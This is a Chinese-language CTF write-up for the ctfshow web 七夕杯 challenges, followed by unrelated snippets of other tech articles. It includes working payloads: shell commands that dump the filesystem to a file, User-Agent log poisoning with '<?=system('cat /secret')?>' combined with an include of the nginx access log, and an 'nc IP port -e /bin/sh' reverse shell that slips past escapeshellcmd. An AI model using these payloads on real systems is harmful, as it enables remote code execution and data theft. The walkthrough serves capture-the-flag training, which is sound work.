ctfshow web七夕杯

devtools/2024/9/20 4:01:47/ 标签: php, web安全

web签到

在这里插入图片描述
执行命令没有回显,我们直接写文件就可以了
在这里插入图片描述
有字符长度限制

ls />a
nl /*>a

访问url/api/a下载文件
在这里插入图片描述
在这里插入图片描述

easy_calc

php"><?phpif(check($code)){eval('$result='."$code".";");echo($result);    
}function check(&$code){$num1=$_POST['num1'];$symbol=$_POST['symbol'];$num2=$_POST['num2'];if(!isset($num1) || !isset($num2) || !isset($symbol) ){return false;}if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){return false;}if(preg_match("/^[\+\-\*\/]$/", $symbol)){$code = "$num1$symbol$num2";return true;}return false;
}

正则EXP

php"><?php$pattern = "/!|@|#|\\$|%|\\^|&|\\(|_|=|{|}|'|<|>|\\?|\\?|\\||`|~|\\[/";// 所有可能的字符,包括特殊字符、大小写字母和数字
$all_chars = array_merge(range('!', '/'),   // 特殊字符range(':', '@'),   // 特殊字符range('[', '`'),   // 特殊字符range('{', '~'),   // 特殊字符range('0', '9'),   // 数字range('A', 'Z'),   // 大写字母range('a', 'z')    // 小写字母
);$unmatched_chars = [];foreach ($all_chars as $char) {if (!preg_match($pattern, $char)) {$unmatched_chars[] = $char;}
}if (empty($unmatched_chars)) {echo "所有字符都被匹配了。\n";
} else {echo "未匹配到的字符有:\n";foreach ($unmatched_chars as $char) {echo $char . " ";}echo "\n";
}?>

第一个正则

" ) * + , - . / : ; \ ] } 这些字符还都可以使用
大小写字母和数字也都可以使用

第二个正则

! " # $ % & ' ( ) , . : ; < = > ? @ [ \ ] ^ _ ` { | } ~ 
大小写字母和数字
POST:
num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=1UA:
<?=system('ls /');?>
<?=system('cat /secret')?>

包含日志文件
在这里插入图片描述

easy_cmd

php"><?phperror_reporting(0);
highlight_file(__FILE__);$cmd=$_POST['cmd'];if(preg_match("/^\b(ping|ls|nc|ifconfig)\b/",$cmd)){exec(escapeshellcmd($cmd));
}
?>
escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$\, \x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

进行转义之后就会进行shell命令但是不能使用带参数的命令
那么我们就反弹shell

POST:
cmd=nc IP port -e /bin/sh

然后监听端口进行rce即可

easy_sql

欠着


http://www.ppmy.cn/devtools/52260.html

相关文章

IP分片的隐患,以及TCP分片

好的&#xff0c;我们来用一个生活中的例子更详细地解释 MTU、MSS&#xff0c;以及 IP 和 TCP 分片。 MTU 和 MSS 的概念 MTU&#xff08;Maximum Transmission Unit&#xff0c;最大传输单元&#xff09;&#xff1a; 假设你搬家&#xff0c;需要用卡车搬运家具。 卡车的最…

一行代码实现鼠标横向滚动

&#x1f9d1;‍&#x1f4bb; 写在开头 点赞 收藏 学会&#x1f923;&#x1f923;&#x1f923; 在项目中我们可能会遇到当鼠标在某个区域内&#xff0c;我们希望滚动鼠标里面的内容可以横向滚动&#xff1b; 比如我们一些常见的后台状态栏&#xff1a; 那这种该怎么写&…

LearnDash+BuddyBoss:终极在线课程社区组合

您是否希望使用 WordPress 建立在线课程社区&#xff1f; 如果是这样&#xff0c;没有比LearnDash和BuddyBoss在线课程社区更好的组合了。使用这两款产品&#xff0c;您可以创建和销售在线课程、创建群组和讨论&#xff0c;并为您的学生提供整个社交网络&#xff0c;所有这些都…

PLSQL、Oracle以及客户端远程连接服务器笔记(仅供参考)

1.PLSQL参考链接&#xff1a; 全网最全最细的PLSQL下载、安装、配置、使用指南、问题解答&#xff0c;相关问题已汇总-CSDN博客文章浏览阅读2.9w次&#xff0c;点赞98次&#xff0c;收藏447次。双击之后&#xff0c;这里选择安装目录&#xff0c;你安装目录选的哪里&#xff0…

新手怎么使用GitHub?

GitHub新手使用指南&#xff0c;涵盖了从注册、创建仓库、版本控制基本操作到SSH密钥配置等关键步骤&#xff1a; 第一步&#xff1a;注册与登录 访问GitHub官方网站&#xff1a;https://github.com。点击页面右上角的"sign up"按钮开始注册账号。输入有效的电子邮…

Macbook M芯片Homebrew与git的安装与配置

Macbook M芯片Homebrew与git的安装与配置 Homebrew的安装与配置 搜索Homebrew; 找到如下网址https://brew.sh/ 把以上命令复制到终端 执行后&#xff0c;发现并不能下载&#xff1b; 如果你像我一样也是不通的&#xff0c;可以使用国内源,将如下命令复制到终端&#xff1a;…

深入探索深度学习的验证集:必要还是可选?

深入探索深度学习的验证集&#xff1a;必要还是可选&#xff1f; 在深度学习项目的设计和实施过程中&#xff0c;数据通常被划分为训练集、测试集&#xff0c;以及有时的验证集。尽管在一些研究中&#xff0c;我们可能看到只有训练集和测试集被使用&#xff0c;验证集的作用及…

第壹章第15节 C#和TS语言对比-泛型

C#提供了泛型的完整支持&#xff0c;不仅在编译时&#xff0c;运行时仍然保留泛型的类型信息&#xff0c;同时提供了更加丰富的泛型约束和更加全面的协变逆变支持。TS的泛型&#xff0c;在语法表现形式上&#xff0c;和C#差不多&#xff0c;但本质上两者是不一样的。TS的泛型&a…

2024年春季学期《算法分析与设计》练习15

问题 A: 简单递归求和 题目描述 使用递归编写一个程序求如下表达式前n项的计算结果&#xff1a; (n<100) 1 - 3 5 - 7 9 - 11 ...... 输入n&#xff0c;输出表达式的计算结果。 输入 多组输入&#xff0c;每组输入一个n&#xff0c;n<100。 输出 输出表达式的计…

selenium中,怎么判断是否已选多选框

html文件 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><title>Title</title> </head> <body><p>测试勾选</p><div><input type"checkbox" name"b…

数据库和DDL语句

数据库和DDL语句 数据库&#xff1a;SQL:分类&#xff1a;DDL:操作库&#xff1a;操作表&#xff1a;操作字段&#xff1a; 数据库&#xff1a; ​ 数据库&#xff08;database&#xff09;就是一个存储数据的仓库。为了方便数据的存储和管理&#xff0c;它将数据按照特定的规律…

linux kernel 驱动模型中匹配顺序是怎样的

今天看驱动&#xff0c;发现有几处都可以进行匹配&#xff0c;我就在想他们的优先顺序是怎样的 这里看的是platform架构 其他的应该一样 跟踪代码发现如下代码&#xff1a; __driver_attach //./drivers/base/dd.c driver_match_device ./drivers/base/base.h drv->…

数据库基础——数字、字符串、日期时间、二进制

数据库的分类 定义&#xff1a;主要是数据表的创建、删除、修改 操纵&#xff1a;对数据进行增删添改 控制&#xff1a;对数据库的权限进行管理 数据库不区分大小写&#xff0c;一条语句的结尾以英文分号结尾 命名不能是关键字&#xff0c;只能使用英文、数字和下划线 注释可以…

COVINS-G编译注意事项

install_files.sh 修改source devel/setup.bash 为 source devel/setup.zsh cv_bridge 为了防止和本机的noetic的cv_bridge冲突&#xff0c;需要放入一个旧版本的cv_bridge。 先编译好opencv3_catkin&#xff0c;然后添加cv_bridge,也就是下载vision_opencv的melodic分支到cov…

文章MSM_metagenomics(七):分组马赛克图

欢迎大家关注全网生信学习者系列&#xff1a; WX公zhong号&#xff1a;生信学习者Xiao hong书&#xff1a;生信学习者知hu&#xff1a;生信学习者CDSN&#xff1a;生信学习者2 介绍 本教程是使用一个Python脚本来绘制马赛克图&#xff0c;用于可视化两个变量的频率分布。 数…

如何以银行客户为中心实现自动化,并创造更顺畅的客户体验?

在当今社会&#xff0c;客户已习惯于通过几次点击就能迅速得到所需&#xff0c;但银行业的客户旅程仍然因为延误、错误、隐藏费用和资金可获取性问题而显得繁琐。试问&#xff0c;您上一次向他人推荐自己的银行、保险公司或税务局提供的优质服务是何时&#xff1f; 无论是购车…

Linux内核中user、sys、iowait计算

Linux源代码路径: kernel/sched/cputime.c void account_user_time(struct task_struct *p, u64 cputime) {int index;/* Add user time to process. */p->utime += cputime;account_group_user_time(p, cputime);index = (task_nice(p) > 0) ? CPUTIME_NICE : CPUTIM…

英语学习笔记34——What are they doing?

What are they doing? 他们在做什么&#xff1f; 词汇 Vocabulary sleep v. 睡觉 ing形式&#xff1a;sleeping 例句&#xff1a;那个男孩正在睡觉。    That boy is sleeping. 相关&#xff1a;sleepy 困的 例句&#xff1a;我太困了。    I’m so sleepy. shave v.…

kafka在windows上的启动

启动zookeeper 解压kafka安装包到对应目录下&#xff0c;找到对应config目录下的zookeeper.properties文件 新建一个data文件夹&#xff0c;随便放哪 打开该文件&#xff0c;找到 dataDir/tmp/zookeeper 属性 将原来的属性值&#xff0c;修改为新建data文件夹地址&#xff0c;…